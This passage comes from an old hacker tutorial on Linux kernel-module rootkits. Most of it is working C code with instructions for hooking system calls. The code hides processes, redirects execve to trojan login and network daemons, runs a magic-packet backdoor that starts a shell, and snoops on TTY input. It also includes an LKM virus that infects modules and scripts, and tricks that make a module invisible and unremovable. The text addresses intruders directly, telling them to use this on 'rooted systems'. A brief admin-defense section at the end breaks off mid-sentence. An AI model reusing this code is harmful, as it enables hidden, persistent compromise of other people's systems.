2328 n = dirp3->d_reclen;
2330 if ((proc && invisible(myatoi(dirp3->d_name)))) {
2332 memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
2334 dirp3->d_off = 1024;
2338 dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
2340 memcpy_tofs(dirp, dirp2, tmp);
2347 int init_module(void) /*module setup*/
2349 orig_getdents=sys_call_table[SYS_getdents];
2350 sys_call_table[SYS_getdents]=hacked_getdents;
2354 void cleanup_module(void) /*module shutdown*/
2356 sys_call_table[SYS_getdents]=orig_getdents;
2360 The code seems complicated, but if you know how 'ps' and every process analyzing
2361 tool works, it is really easy to understand. Commands like 'ps' do not use any
2362 special systemcall for getting a list of the current processes (there exists no
2363 systemcall doing this). By strace'in 'ps' you will recognize that it gets its
2364 information from the /proc/ directory. There you can find lots of directories
2365 with names only consisting of numbers. Those numbers are the PIDs of all running
2366 processes on that system. Inside these directories you find files which provide
2367 any information on that process.So 'ps' just does an 'ls' on /proc/; every number
2368 it finds stands for a PID it shows in its well-known listing. The information it
2369 shows us about every process is gained from reading the files inside /proc/PID/.
2370 Now you should get the idea.'ps' must read the contents of the /proc/ directory,
2371 so it must use sys_getdents(...).We just must get the name of the a PID found in
2372 /proc/; if it is our process name we want to hide, we will hide it from /proc/
2373 (like we did with other files in the filesystem -> see 4.1). The two task
2374 functions and the invisible(...) function are only used to get the name for a
2375 given PID found in the proc directory and related stuff. The file hiding should
2376 be clear after studying 4.1.<br>
2377 I would improve only one point in plaguez approuch. I don't know why he used
2378 a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
2379 are peanuts. Of course, in a complete hide module you would put file and process
2380 hiding in one hacked getdents call (this is the way plaguez did it).<br>
2381 Runar Jensen used another, more complicated way. He also hides the PIDs from the
2382 /proc directory, but the way he checks whether to hide or not is a bit different.
2383 He uses the flags field in the task structure. This unsigned long field normally
2384 uses the following constants to save some information on the task :<br>
2386 <li>PF_PTRACED : current process is observed<br>
2387 <li>PF_TRACESYS : " " " "<br>
2388 <li>PF_STARTING : process is going to start<br>
2389 <li>PF_EXITING : process is going to terminate<br>
2391 Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
2392 that the corresponding process should be invisible. So a PID found in /proc by
2393 using sys_getdents(...) must not be resolved in its name. You only have to check
2394 for the task flag field. This sounds easier than the 'name approach'. But how to
2395 set this flag for a process we want to hide. Runar Jensen used the easiest way
2396 by hooking sys_kill(...). The 'kill' command can send a special code (9 for
2397 termination, for example) to any process speciafied by his PID. So start your
2398 process which is going to be invisible, do a 'ps' for getting its PID. And use
2399 a 'kill -code PID'. The code field must be a value that is not used by the
2400 system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
2401 to hook sys_kill(...) and check for a code of 32. If so it must set the task
2402 flags field of the process specified through the PID given to sys_kill(...).
2403 This is a way to set the flag field. Now it is clear why this approach is a bit
2404 too complicated for an easy practical use.
2406 <H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
2408 In certain situations it could be very interesting to redirect the execution
2409 of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
2410 would allow you to insert any trojan without problem of checksum checks on those
2411 files (you don't need to change them). So let's again search the responsible
2412 systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
2413 way of redirection (the original idea came from halflife) :<br>
2419 #include <linux/module.h>
2420 #include <linux/kernel.h>
2421 #include <asm/unistd.h>
2422 #include <sys/syscall.h>
2423 #include <sys/types.h>
2424 #include <asm/fcntl.h>
2425 #include <asm/errno.h>
2426 #include <linux/types.h>
2427 #include <linux/dirent.h>
2428 #include <sys/mman.h>
2429 #include <linux/string.h>
2430 #include <linux/fs.h>
2431 #include <linux/malloc.h>
2433 extern void* sys_call_table[];
2435 /*must be defined because of syscall macro used below*/
2438 /*we define our own systemcall*/
2442 static inline _syscall1(int, brk, void *, end_data_segment);
2444 int (*orig_execve) (const char *, const char *[], const char *[]);
2446 /*here plaguez's user -> kernel space transition specialized for strings
2447 is better than memcpy_fromfs(...)*/
2448 char *strncpy_fromfs(char *dest, const char *src, int n)
2454 dest[compt++] = __get_user(tmp++, 1);
2456 while ((dest[compt - 1] != '\0') && (compt != n));
2461 /*this is something like a systemcall macro called with SYS_execve, the
2462 asm code calls int 0x80 with the registers set in a way needed for our own
2463 __NR_myexecve systemcall*/
2464 int my_execve(const char *filename, const char *argv[], const char *envp[])
2467 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
2468 (filename)), "c"((long) (argv)), "d"((long) (envp)));
2473 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
2477 char *truc = "/bin/ls"; /*the file we *should* be executed*/
2478 char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/
2481 test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
2482 /*get file which a user wants to execute*/
2483 (void) strncpy_fromfs(test, filename, strlen(truc));
2484 test[strlen(truc)] = '\0';
2485 /*do we have our truc file ?*/
2486 if (!strcmp(test, truc))
2489 mmm = current->mm->brk;
2490 ret = brk((void *) (mmm + 256));
2493 /*set new program name (the program we want to execute instead of /bin/ls or
2495 memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
2496 /*execute it with the *same* arguments / environment*/
2497 ret = my_execve((char *) (mmm + 2), argv, envp);
2498 tmp = brk((void *) mmm);
2501 /*no the program was not /bin/ls so execute it the normal way*/
2502 ret = my_execve(filename, argv, envp);
2507 int init_module(void) /*module setup*/
2509 /*the following lines choose the systemcall number of our new myexecve*/
2510 __NR_myexecve = 200;
2511 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
2514 orig_execve = sys_call_table[SYS_execve];
2515 if (__NR_myexecve != 0)
2517 sys_call_table[__NR_myexecve] = orig_execve;
2518 sys_call_table[SYS_execve] = (void *) hacked_execve;
2523 void cleanup_module(void) /*module shutdown*/
2525 sys_call_table[SYS_execve]=orig_execve;
2529 When you loaded this module, every call to /bin/ls will just execute /bin/ps.
2530 The following list gives you some ideas how to use this redirection of execve :
2532 <li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
2533 <li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
2534 behaviour (remember CERT advisory on a trojan TCPD version)<br>
2535 <li>trojan inetd for a root shell<br>
2536 <li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
2537 issuing a special magic string<br>
2538 <li>trojan tools like tripwire, L6<br>
2539 <li>other system security relevant tools<br>
2541 There are thousands of other intersting programs to 'trojan', just use your
2544 <H3><A NAME="II.6."></A>6. Network (Socket) related Hacks</h3>
2546 The network is the hacker's playground. So let's look at something which can
2549 <H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4>
2551 There are many things you can do by controlling Socket Operations. plaguez gave
2552 us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
2553 for a packet with a certain length and a certain contents. So let's take a look
2554 at his hacked systemcall (I will only show the hacked_systemcall, because the
2555 rest is equal to every other LKM mentioned in this section) :
2558 int hacked_socketcall(int call, unsigned long *args)
2560 int ret, ret2, compt;
2565 /*our magic contents*/
2566 char *t = "packet_contents";
2567 unsigned long *sargs = args;
2568 unsigned long a0, a1, mmm;
2572 ret = (*o_socketcall) (call, args);
2574 /*did we have magicsize & and a recieve ?*/
2575 if (ret == MAGICSIZE && call == SYS_RECVFROM)
2577 /*work on arguments*/
2578 a0 = get_user(sargs);
2579 a1 = get_user(sargs + 1);
2580 buf = kmalloc(ret, GFP_KERNEL);
2581 memcpy_fromfs(buf, (void *) a1, ret);
2582 for (compt = 0; compt < ret; compt++)
2583 if (((char *) (buf))[compt] == 0)
2584 ((char *) (buf))[compt] = 1;
2585 /*do we have magic_contents ?*/
2586 if (strstr(buf, mtroj))
2592 /*if so execute our proggy (shell or whatever you want...) */
2593 mmm = current->mm->brk;
2594 ret2 = brk((void *) (mmm + 256));
2595 memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
2597 /*plaguez's execve implementation -> see 4.2*/
2598 ret2 = my_execve((char *) mmm + 2, NULL, NULL);
2606 Ok, as always I added some comments to the code, which is a bit ugly, but working.
2607 The code intercepts every sys_socketcall (which is responsible for everything
2608 concerning socket-operations see I.2). Inside the hacked systemcall the code
2609 first issues a normal systemcall. After that the return value and call variables
2610 are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
2611 do with TCP/IP packets...) is ok it will check the contents which was received.
2612 If it can find our magic contents, the code can be sure,that we (hacker) want to
2613 start the backdoor program. This is done by my_execve(...).<br>
2614 In my opinion this approach is very good, it would also be possible to wait
2615 for a speciel connect / close pattern, just be creative.<br>
2616 Please remember that the methods mentioned above need a service listing on a
2617 certain port, because the receive function is only issued by daemons receiving
2618 data from an established connection. This is a disadvantage, because it could be
2619 a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
2620 first on your system to see what will happen. Find your favourite way of
2621 backdoor'ing the sys_socketcall, and use it on your rooted systems.
2623 <H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
2625 TTY hijacking is very interesting and also something used since a very very long
2626 time. We can grab every input from a TTY we specify throug its major and minor
2627 number. In Phrack 50 halflife published a really good LKM doing this. The
2628 following code is ripped from his LKM. It should show every beginner the basics
2629 of TTY hijacking though its no complete implementation, you cannot use it in any
2630 useful way, because I did <i>not</i> implement a way of logging the TTY input made
2631 by the user. It's just for those of you who want to understand the basics, so
2637 #include <linux/module.h>
2638 #include <linux/kernel.h>
2639 #include <asm/unistd.h>
2640 #include <sys/syscall.h>
2641 #include <sys/types.h>
2642 #include <asm/fcntl.h>
2643 #include <asm/errno.h>
2644 #include <linux/types.h>
2645 #include <linux/dirent.h>
2646 #include <sys/mman.h>
2647 #include <linux/string.h>
2648 #include <linux/fs.h>
2649 #include <linux/malloc.h>
2651 #include <sys/sysmacros.h>
2656 /*the TTY we want to hijack*/
2660 extern void* sys_call_table[];
2662 /*we need the write systemcall*/
2663 static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
2665 void *original_write;
2667 /* check if it is the tty we are looking for */
2668 int is_fd_tty(int fd)
2670 struct file *f=NULL;
2671 struct inode *inode=NULL;
2675 if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
2677 mymajor = major(inode->i_rdev);
2678 myminor = minor(inode->i_rdev);
2679 if(mymajor != tty_major) return 0;
2680 if(myminor != tty_minor) return 0;
2684 /* this is the new write(2) replacement call */
2685 extern int new_write(int fd, char *buf, size_t count)
2692 kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
2693 memcpy_fromfs(kernel_buf, buf, count);
2695 /*at this point you can output buf whereever you want, it represents
2696 every input on the TTY device referenced by the chosen major / minor
2698 I did not implement such a routine, because you will see a complete &
2699 very good TTY hijacking tool by halflife in appendix A */
2703 sys_call_table[SYS_write] = original_write;
2704 r = write(fd, buf, count);
2705 sys_call_table[SYS_write] = new_write;
2706 if(r == -1) return -errno;
2710 int init_module(void)
2712 /*you should know / understand this...*/
2713 original_write = sys_call_table[SYS_write];
2714 sys_call_table[SYS_write] = new_write;
2719 void cleanup_module(void)
2721 /*no more hijacking*/
2722 sys_call_table[SYS_write] = original_write;
2727 The comments should make this code easy to read.The general idea is to intercept
2728 sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
2729 checking fd for the TTY we want to snoop, get the data written and write it
2730 to some log (not implemented in the example above).There are several ways where
2731 you can store the logs.halflife used a buffer (accessible through an own device)
2732 which is a good idea (he can also control his hijack'er using ioctl-commands
2734 I personally would recommand storing the logs in hidden (through LKM) file,
2735 and making the controlling through some kind of IPC. Take the way which works
2736 on your rooted system.<br>
2738 <H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
2740 Now we will leave the hacking part for a second and take a look at the
2741 world of virus coding (the ideas discussed here could also be
2742 interesting for hackers, so read on...). I will concentrate this discussion
2743 on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the
2744 complete source, so this section will only discuss important techniques and
2745 functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
2746 and kerneld installed (I will explain why).<br>
2747 First of all you have to know that this LKM infector does not infect normal
2748 elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
2749 it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
2750 is often managed by kerneld (see I.7). So imagine a module infected with the
2751 virus code; when loading this module you also load the virus LKM which uses
2752 hiding features (see 8). This virus module intercepts the sys_create_module
2753 and sys_delete_module (see I.2) systemcalls for further infection. Whenever
2754 a module is unloaded on that system it is infected by the new sys_delete_module
2755 systemcall. So every module requested by kerneld (or manually) will be infected
2757 You could imagine the following scenario for the first infection :
2759 <li>admin is searching a network driver for his new interface card (ethernet,...)<br>
2760 <li>he starts searching the web <br>
2761 <li>he finds a driver module which should work on his system & downloads it<br>
2762 <li>he installs the module on his system [the module <i>is</i> infected]<br>
2763 --> the infector is installed, the system is compromised<br>
2765 Of course, he did not download the source, he was lazy and took the risks using
2766 a binary file. So admins <i>never</i> trust any binary files (esp. modules).
2767 So I hope you see the chances / risks of LKM infectors, now let's look a bit
2768 closer at the LKM infector by SVAT.<br>
2769 Imagine you have the source for the virus LKM (a simple module, which intercepts
2770 sys_create_module / sys_delete_module and some other [more tricky] stuff). The
2771 first question would be how to infect an existing module (the host module). Well
2772 let's do some experimenting. Take two modules and 'cat' them together like
2775 # cat module1.o >> module2.o
2778 After this try to insmod the resulting module2.o (which also includes module1.o
2785 Ok it worked, now check which modules are loaded on your system
2789 Module Pages Used by
2793 So we know that by concatenating two modules the first one (concerning object
2794 code) will be loaded, the second one will be ignored. And there will be no error
2795 saying that insmod can not load corrupted code or so.<br>
2796 With this in mind, it should be clear that a host module could be infected by
2799 cat host_module.o >> virus_module.o
2800 ren virus_module.o host_module.o
2803 This way loading host_module.o will load the virus with all its nice LKM
2804 features. But there is one problem, how do we load the actual host_module ? It
2805 would be very strange to a user / admin when his device driver would do nothing.
2806 Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
2807 a module. Just use request_module("module_name") in your sources.This will force
2808 kerneld to load the specified module. But where do we get the original host
2809 module from ? It is packed in host_module.o (together with virus_module.o). So
2810 after compiling your virus_module.c to its objectcode you have to look at its
2811 size (how many bytes). After this you know where the original host_module.o will
2812 begin in the packed one (you must compile the virus_module two times : the first
2813 one to check the objectcode size, the second one with the source changed
2814 concerning objectsize which must be hardcoded...). After these steps your
2815 virus_module should be able to extract the original host_module.o from the
2816 packed one. You have to save this extracted module somewhere, and load it via
2817 request_module("orig_host_module.o"). After loading the original host_module.o
2818 your virus_module (which is also loaded from the insmod [issued by user, or
2819 kerneld]) can start infecting any loaded modules.<br>
2820 Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
2821 infection, so let's take a look at his hacked systemcall (I only added some
2825 /*just the hacked systemcall*/
2826 int new_delete_module(char *modname)
2828 /*number of infected modules*/
2829 static int infected = 0;
2830 int retval = 0, i = 0;
2831 char *s = NULL, *name = NULL;
2833 /*call the original sys_delete_module*/
2834 retval = old_delete_module(modname);
2836 if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
2839 /*check files to infect -> this comes from hacked sys_create_module; just
2840 a feature of *this* LKM infector, nothing generic for this type of virus*/
2841 for (i = 0; files2infect[i][0] && i < 7; i++)
2843 strcat(files2infect[i], ".o");
2844 if ((s = get_mod_name(files2infect[i])) == NULL)
2848 name = strcpy(name, s);
2849 if (!is_infected(name))
2851 /*this is just a macro wrapper for printk(...)*/
2852 DPRINTK("try 2 infect %s as #%d\n", name, i);
2853 /*increase infection counter*/
2855 /*the infect function*/
2858 memset(files2infect[i], 0, 60 + 2);
2861 /*how many modules were infected, if enough then stop and quit*/
2862 if (infected >= ENOUGH)
2869 Well there is only one function interesting in this systemcall: infectfile(...).
2870 So let's examine that function (again only some comments were added by me) :
2873 int infectfile(char *filename)
2875 char *tmp = "/tmp/t000";
2876 int in = 0, out = 0;
2877 struct file *file1, *file2;
2879 /*don't get confused, this is a macro define by the virus. It does the
2880 kernel space -> user space handling for systemcall arguments(see I.4)*/
2882 /*open objectfile of the module which was unloaded*/
2883 in = open(filename, O_RDONLY, 0640);
2884 /*create a temp. file*/
2885 out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
2889 DPRINTK("in infectfile: in = %d out = %d\n", in, out);
2890 if (in <= 0 || out <= 0)
2892 file1 = current->files->fd[in];
2893 file2 = current->files->fd[out];
2894 if (!file1 || !file2)
2896 /*copy module objectcode (host) to file2*/
2901 /* write Vircode [from mem] */
2902 DPRINTK("in infetcfile: filenanme = %s\n", filename);
2903 file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
2912 I think the infection function should be quite clear.<br>
2913 There is only thing left which I think is necessary to discuss : How does
2914 the infected module first start the virus, and load the original module (we know
2915 the theory, but how to do it in reality) ?<br>
2916 For answering this question lets take a look at a function called
2917 load_real_mod(char *path_name, char* name) which manages that problem :
2920 /* Is that simple: we disinfect the module [hide 'n seek]
2921 * and send a request to kerneld to load
2922 * the orig mod. N0 fuckin' parsing for symbols and headers
2925 int load_real_mod(char *path_name, char *name)
2928 struct file *file1, *file2;
2929 int in = 0, out = 0;
2931 DPRINTK("in load_real_mod name = %s\n", path_name);
2934 VirCode = vmalloc(MODLEN);
2938 /*open the module just loaded (->the one which is already infected)*/
2939 in = open(path_name, O_RDONLY, 0640);
2943 file1 = current->files->fd[in];
2946 /* read Vircode [into mem] */
2948 file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
2951 /*split virus / orig. module*/
2952 disinfect(path_name);
2953 /*load the orig. module with kerneld*/
2954 r = request_module(name);
2955 DPRINTK("in load_real_mod: request_module = %d\n", r);
2960 It should be clear *why* this LKM infector need kerneld now, we need to load the
2961 original module by requesting it with request_module(...).
2962 I hope you understood this very basic journey through the world of LKM infectors
2963 (virus). The next sub sections will show some basic extensions / ideas concering
2966 <H4><A NAME="II.8.1."></A>8.1 How a LKM virus can infect any file (not just modules)</h4>
2968 Please don't blame me for not showing a working example of this idea, I just
2969 don't have the time to implement it at the moment (look for further releases).
2970 As you saw in II.4.2 it is possible to catch the execute of every file using
2971 an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
2972 appends some data to the program that is going to be executed. The next time
2973 this program is started, it first starts our added part and then the original
2974 program (just a basic virus scheme). We all know that there are some existing
2975 Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
2976 executables not just modules.We could infect our executables,in a way that they
2977 check for UID=0 and then load again our infection module... I hope you
2978 understood the general idea. <br>
2979 I have to admit, that the modification needed to elf files is quite tricky, but
2980 with enough time you could do it (it was done several times before, just take a
2981 look at existing Linux viruses).<br>
2982 First of all you have to check for the file type which is going to be execute
2983 by sys_execve(...). There are several ways to do it; one of the fastest is to
2984 read some bytes from the file and checking them against the ELF string. After
2985 this you can use write(...) / read(...) / ... calls to modify the file, look at
2986 the LKM infector to see how it does it.<br>
2987 My theory would stay theory without any proof, so I present a very easy and
2988 useless LKM *script* infector. You cannot do anything virus like with it, it just
2989 infects a script with certain commands and nothing else; no real virus features.<br>
2990 I show you this example as a concept of LKMs infecting any file you execute.
2991 Even Java files could be infected, because of the features provided by the Linux
2992 kernel. Here comes the little LKM script infector :
2998 /*taken from the original LKM infector; it makes the whole LKM a lot easier*/
2999 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
3000 #define END_KMEM set_fs(old_fs);}
3002 #include <linux/version.h>
3003 #include <linux/mm.h>
3004 #include <linux/unistd.h>
3005 #include <linux/fs.h>
3006 #include <linux/types.h>
3007 #include <asm/errno.h>
3008 #include <asm/string.h>
3009 #include <linux/fcntl.h>
3010 #include <sys/syscall.h>
3011 #include <linux/module.h>
3012 #include <linux/malloc.h>
3013 #include <linux/kernel.h>
3014 #include <linux/kerneld.h>
3018 extern void *sys_call_table[];
3020 int (*orig_execve) (const char *, const char *[], const char *[]);
3022 int (*open)(char *, int, int);
3023 int (*write)(unsigned int, char*, unsigned int);
3024 int (*read)(unsigned int, char*, unsigned int);
3028 /*see II.4.2 for explanation*/
3029 int my_execve(const char *filename, const char *argv[], const char *envp[])
3032 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
3036 /*infected execve systemcall + infection routine*/
3037 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3043 /*just a buffer for reading up to 20 files (needed for identification of
3045 test = (char *) kmalloc(21, GFP_KERNEL);
3047 /*open the host script, which is going to be executed*/
3048 host=open(filename, O_RDWR|O_APPEND, 0640);
3052 /*read the first 20 bytes*/
3053 read(host, test, 20);
3055 /*is it a normal shell script (as you see, you can modify this for *any*
3057 if (strstr(test, "#!/bin/sh")!=NULL)
3059 /*a little debug message*/
3060 printk("<1>INFECT !\n");
3061 /*we are friendly and attach a peaceful command*/
3062 write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
3065 /*modification is done, so close our host*/
3067 /*free allocated memory*/
3069 /*execute the file (the file is execute WITH the changes made by us*/
3070 ret = my_execve(filename, argv, envp);
3075 int init_module(void) /*module setup*/
3077 __NR_myexecve = 250;
3078 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3080 orig_execve = sys_call_table[SYS_execve];
3081 if (__NR_myexecve != 0)
3083 printk("<1>everything OK\n");
3084 sys_call_table[__NR_myexecve] = orig_execve;
3085 sys_call_table[SYS_execve] = (void *) hacked_execve;
3088 /*we need some functions*/
3089 open = sys_call_table[__NR_open];
3090 close = sys_call_table[__NR_close];
3091 write = sys_call_table[__NR_write];
3092 read = sys_call_table[__NR_read];
3096 void cleanup_module(void) /*module shutdown*/
3098 sys_call_table[SYS_execve]=orig_execve;
3102 This is too easy to waste some words on it. Of course, this module does
3103 <i>not</i> need kerneld for spreading (interesting for kernel without kerneld
3105 I hope you got the idea on infecting any executable, this is a very strong
3106 method of killing large systems.
3108 <H4><A NAME="II.8.2."></A>8.2 How can a LKM virus help us to get in</h4>
3110 As you know virus coders are not hackers, so what about interesting features for
3111 hackers. Think about this problem (only ten seconds), you should realize, that
3112 a whole system could be yours by introducing a trojan (infected) LKM.<br>
3113 Remember all the nice hacks we discussed till now.Even without trojans you could
3114 hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
3115 home directoy. Believe me, it is easier to infect a system with a real good LKM
3116 than doing the same stuff as root again and again. It's more elagent to let the
3117 LKM make the work for you. Be CREATIVE...
3119 <H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
3121 Now it's time to start talking about the most important / interesting Hack I
3122 will present. This idea comes from plaguez's LKM published in Phrack (other
3123 people like Solar Designer discussed this before...).<br>
3124 So far we are able to hide files, processes, directories, and whatever we
3125 want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
3126 /proc/modules. There are many ways we can solve this problem. The first solution
3127 could be a partial file hiding (see II.4.3). This would be easy to implement,
3128 but there is a better more advanced and secure way. Using this technique you
3129 must also intercept the sys_query_module(...) systemcall. An example of this
3130 approach can be seen in A-b.<br>
3131 As I explained in I.1 a module is finally loaded by issuing a init_module(...)
3132 systemcall which will start the module's init function. init_module(...) gets
3133 an argument : struct mod_routines *routines. This structure contains very
3134 important information for loading the LKM. It is possible for us to manipulate
3135 some data from this structure in a way our module will have no name and no
3136 references. After this the system will no longer show our LKM in /proc/modules,
3137 because it ignores LKMs with no name and a refernce count equal to 0. The
3138 following lines show how to access the part of mod_routines, in order to hide
3142 /*from Phrack & AFHRM*/
3145 register struct module *mp asm("%ebp"); // or whatever register it is in
3152 This code trusts in the fact that gcc did not manipulate the ebp register
3153 because we need it in order to find the right memory location. After finding
3154 the structure we can set the structure's name and references members to 0 which
3155 will make our module invisible and also unremovable, because you can only remove
3156 LKMs which the kernel knows, but our module is unknow to the kernel.<br>
3157 Remember that this trick only works if you use gcc in way it does not touch the
3158 register you need to access for getting the structure.You must use the following
3162 #gcc -c -O3 -fomit-frame-pointer module.c
3165 fomit-frame-pointer says cc not to keep frame pointer in registers for functions
3166 that don't need one. This keeps our register clean after the function call of
3167 init_module(...), so that we can access the structure.<br>
3168 In my opinion this is the most important trick, because it helps us to develope
3169 hidden LKMs which are also unremovable.
3171 <H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
3173 In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
3174 infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
3175 the socketcall loading a module instead of starting our backdoor shellscript or
3176 program. You could load a module adding an entry to passwd or inetd.conf. After
3177 loading this second LKM you have many possibilities of changing systemfiles.
3180 <H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
3182 We learned many ways a module can help us to subvert a system. So imagine you
3183 code yourself a nice backdoor tool (or take an existing) which isn't implemented
3184 in the LKM you use on that system; just something like pingd, WWW remote shell,
3185 shell, .... How can you check after logging in on the system that your LKM is
3186 still working? Imagine what would happen if you enter a session and the admin is
3187 waiting for you without your LKM loaded (so no process hiding etc.). So you
3188 start doing you job on that system (reading your own logs, checking some mail
3189 traffic and so on) and every step is monitored by the admin. Well no good
3190 situation, we must know that our LKM is working with a simple check.<br>
3191 I suppose the following way is a good solution (although there may be many other
3194 <li> implement a special systemcall in your module<br>
3195 <li> write a little user space program checking for that systemcall<br>
3197 Here is a module which implements our 'check systemcall' :
3203 #include <linux/module.h>
3204 #include <linux/kernel.h>
3205 #include <asm/unistd.h>
3206 #include <sys/syscall.h>
3207 #include <sys/types.h>
3208 #include <asm/fcntl.h>
3209 #include <asm/errno.h>
3210 #include <linux/types.h>
3211 #include <linux/dirent.h>
3212 #include <sys/mman.h>
3213 #include <linux/string.h>
3214 #include <linux/fs.h>
3215 #include <linux/malloc.h>
3217 #define SYS_CHECK 200
3219 extern void* sys_call_table[];
3227 int init_module(void) /*module setup*/
3229 sys_call_table[SYS_CHECK]=sys_check;
3233 void cleanup_module(void) /*module shutdown*/
3237 If you issue a systemcall with the number 200 in eax we should get a return of
3238 666. So here is our user space program checking for this :
3241 #include <linux/errno.h>
3242 #include <sys/syscall.h>
3245 extern void *sys_call_table[];
3249 __asm__("movl $200,%eax
3258 printf("Our module is *not* present !!\n");
3260 printf("Our module is present, continue...\n");
3265 In my opinion this is one of the easiest ways to check for presents of our LKM,
3270 <H2>III. Soltutions (for admins)</H2>
3275 <H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
3277 I think it is time to help admins securing their system from hostile LKMs.<br>
3278 Before explaining some theories remember the following for a secure system :<br>
3280 <li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
3281 also relevant for normal executables)<br>
3282 <li> if you have the sources, check them (if you can). Remember the tcpd trojan
3283 problem. Large software packets are mostly quite complex to understand, but
3284 if you need a very secure system you should analyse the source code.<br>
3286 Even if you follow those tips it could be possible that an intruder activates an
3287 LKM on your system (overflows etc.). <br>
3288 So what about a LKM logging every module loaded, and denying every load attempt
3289 from a directory different from a secure one (to avoid simple overflows; that's no
3290 perfect way...). The logging can be easily done by intercepting the
3291 create_module(...) systemcall. The same way you could check for the directory
3292 the loaded module comes from. <br>
3293 It would also be possible to deny any module loading, but this is a very bad way,
3294 because you really need them. So what about modifying module loading in a way
3295 you can supply a password, which will be checked in your intercepted
3296 create_module(...). If the password is correct the module will be loaded, if not
3297 it will be dropped.<br>
3298 It should be clear that you have to hide your LKM to make it unremovable. So
3299 let's take a look at some prototype implemantations of the logging LKM and the
3300 password protected create_module(...) systemcall.<br>
3302 <H4><A NAME="III.1.1."></A>1.1 Practical Example of a prototype Detector</h4>
3304 Nothing to say about that simple implementation, just intercept
3305 sys_create_module(...) and log the names of modules which were loaded.
3312 #include <linux/module.h>
3313 #include <linux/kernel.h>
3314 #include <asm/unistd.h>
3315 #include <sys/syscall.h>
3316 #include <sys/types.h>
3317 #include <asm/fcntl.h>
3318 #include <asm/errno.h>
3319 #include <linux/types.h>
3320 #include <linux/dirent.h>
3321 #include <sys/mman.h>
3322 #include <linux/string.h>
3323 #include <linux/fs.h>
3324 #include <linux/malloc.h>
3326 extern void* sys_call_table[];
3329 int (*orig_create_module)(char*, unsigned long);
3332 int hacked_create_module(char *name, unsigned long size)
3335 char hide[]="ourtool";
3338 kernel_name = (char*) kmalloc(256, GFP_KERNEL);
3339 memcpy_fromfs(kernel_name, name, 255);
3341 /*here we log to syslog, but you can log where you want*/
3342 printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
3344 ret=orig_create_module(name, size);
3349 int init_module(void) /*module setup*/
3351 orig_create_module=sys_call_table[SYS_create_module];
3352 sys_call_table[SYS_create_module]=hacked_create_module;
3356 void cleanup_module(void) /*module shutdown*/
3358 sys_call_table[SYS_create_module]=orig_create_module;
3363 This is all you need, of course you should add the lines required for hiding the
3364 module, but this is no problem. After making it unremovable this way, a hacker
3365 can only modify the log file, but you could also save your logs, to a file
3366 unaccessible for the hacker (see II.1 for required tricks).
3367 Of course you can also intercept sys_init_module(...)which would also show every
3368 module, that's just a matter of taste.
3371 <H4><A NAME="III.1.2."></A>1.2 Practical Example of a prototype password protected create_module(...)</h4>
3374 This subsection will deal with the possibility to add authentication to module
3375 loading. We need two things to manage this task :
3377 <li> a way to check module loading (easy)<br>
3378 <li> a way to authenticate (quite difficult)<br>
3380 The first point is very easy to code, just intercept sys_create_module(...) and
3381 check some variable, which tells the kernel wether this load process is legal.
3382 But how to do authentication. I must admit that I did not spend many seconds on
3383 thinking about this problem, so the solution is more than bad, but this is a LKM
3384 article, so use your brain, and create something better. My way to do it, was
3385 to intercept the stat(...) systemcall, which is used if you type any command,and
3386 the system needs to search it. So just type a password as command and the LKM
